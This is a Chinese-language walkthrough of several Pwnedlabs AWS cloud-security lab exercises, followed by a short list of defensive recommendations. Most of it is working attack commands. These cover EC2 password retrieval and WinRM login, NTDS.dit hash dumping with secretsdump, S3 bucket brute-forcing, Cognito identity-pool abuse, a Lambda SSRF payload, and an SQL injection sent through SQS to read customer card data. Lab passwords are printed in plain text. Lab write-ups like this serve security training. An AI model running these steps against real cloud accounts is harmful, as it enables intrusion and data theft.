Pwnedlabs靶场Writeup(下)
字数 956 2025-08-20 18:17:59
Pwnedlabs靶场Writeup(下) - AWS云安全渗透实战指南
10. 利用不安全的存储和备份获利
初始信息收集
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name contractor
aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy
aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4
关键发现
- 用户具有
ec2:GetPasswordData权限,可获取特定实例的密码数据 - 通过S3存储桶策略发现可访问
ssh_keys_backup.zip
利用步骤
- 获取EC2实例密码数据:
aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5
aws ec2 get-password-data --priv-launch-key it-admin.pem --instance-id i-04cc1c2c7ec1af1b5
- 使用获取的凭证通过WinRM连接Windows实例:
$password = convertto-securestring -AsPlainText -Force -String 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "Administrator",$password
Enter-PSSession -ComputerName 44.204.191.38 -Credential $credential
- 在实例中发现AWS凭证:
Get-Content c:\users\admin\.aws\credentials
- 使用新凭证获取flag:
aws s3 cp s3://hl-it-admin/flag.txt ./
深入利用
- 发现备份的NTDS.dit和SYSTEM文件,可用于提取域密码哈希:
python3.10 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL -outputfile out.txt
11. 在CodeCommit和Docker中发现秘密
初始发现
- 在Docker镜像层中发现AWS凭证
- 使用凭证枚举IAM权限发现CodeCommit访问权限
利用步骤
- 列出CodeCommit仓库:
aws codecommit list-repositories
- 检查仓库分支和提交:
aws codecommit list-branches --repository-name vessel-tracking
aws codecommit get-commit --repository-name vessel-tracking --commit-id b63f0756ce162a3928c4470681cf18dd2e4e2d5a
- 获取敏感文件内容:
aws codecommit get-file --repository-name vessel-tracking --commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a --file-path js/server.js
- 从解码的JS文件中提取AWS凭证并获取flag
12. S3存储桶暴力破解
技术要点
- 通过静态文件分析发现S3命名模式:
hlogistics-xx - 使用ffuf工具进行子域名爆破:
ffuf -u https://hlogistics-FUZZ.s3.amazonaws.com/ -w wordlist.txt
利用步骤
- 发现beta存储桶中的Python文件包含AWS凭证
- 使用凭证访问SSM参数存储:
aws ssm get-parameter --name lharris
- 枚举Lambda函数并调用获取敏感数据:
aws lambda list-functions
aws lambda invoke --function-name crew_administration_data output.txt
13. 滥用Cognito用户和身份池
Cognito攻击流程
- 匿名获取身份池凭证:
aws cognito-identity get-id --identity-pool-id us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367
aws cognito-identity get-credentials-for-identity --identity-id <identity-id>
- 注册用户池账户:
aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username feng1 --password "FENGfeng123@@@" --user-attributes Name="email",Value="email@gmail.com"
aws cognito-idp confirm-sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username feng1 --confirmation-code 497147
- 获取认证令牌:
aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id 16f1g98bfuj9i0g3f8be36kkrl --auth-parameters USERNAME=feng1,PASSWORD=FENGfeng123@@@
- 使用IdToken获取特权凭证:
aws cognito-identity get-id --identity-pool-id us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367 --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz=<IdToken>"
- 利用Lambda SSRF漏洞获取环境变量中的凭证:
aws lambda invoke --function-name huge-logistics-status --payload 'eyJ0YXJnZXQiOiJodHRwczovL3d3dy5iYWlkdS5jb20ifQ==' output2.txt
14. 利用泄露的凭证
攻击路径
- 从.env文件发现数据库凭证和部分AWS凭证
- 尝试使用相同凭证登录AWS控制台成功
- 在Secrets Manager中发现数据库连接信息:
{
"username": "reports",
"password": "fw=T(HWf5;{d`U.PK)19*lC_qhkJ}iD=",
"host": "employees.cwqkzlyzmm5z.us-east-1.rds.amazonaws.com"
}
- 连接数据库获取flag:
mysql -u reports -p -h employees.cwqkzlyzmm5z.us-east-1.rds.amazonaws.com
15. 利用S3版本控制访问秘密
关键步骤
- 发现S3版本控制启用:
curl -I https://huge-logistics-dashboard.s3.eu-north-1.amazonaws.com/static/js/auth.js
- 列出对象版本:
aws s3api list-object-versions --bucket huge-logistics-dashboard
- 获取旧版本文件:
aws s3api get-object --bucket huge-logistics-dashboard --key static/js/auth.js --version-id qgWpDiIwY05TGdUvTnGJSH49frH_7.yh auth.js
aws s3api get-object --bucket huge-logistics-dashboard --key "private/Business Health - Board Meeting (Confidential).xlsx" --version-id HPnPmnGr_j6Prhg2K9X2Y.OcXxlO1xm8 1.xlsx
18. SQS和Lambda SQL注入
攻击流程
- 枚举可用资源:
aws sqs list-queues
aws lambda list-functions
- 发送恶意消息到SQS队列:
aws sqs send-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"EY\" union select 1,clientName,address,cardUsed from customerData-- -", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "feng"
- 触发Lambda执行SQL注入:
aws lambda invoke --function-name huge-logistics-stock --payload 'eyJERVNDIjoiSExUMTMzNyJ9' output
防御建议
- 身份池不应支持未经认证的身份获取凭证
- 用户池应限制开放注册
- 加强S3存储桶策略,避免过度权限
- 实施最小权限原则
- 定期轮换凭证
- 对用户输入进行严格验证和过滤
- 启用S3版本控制时要谨慎管理权限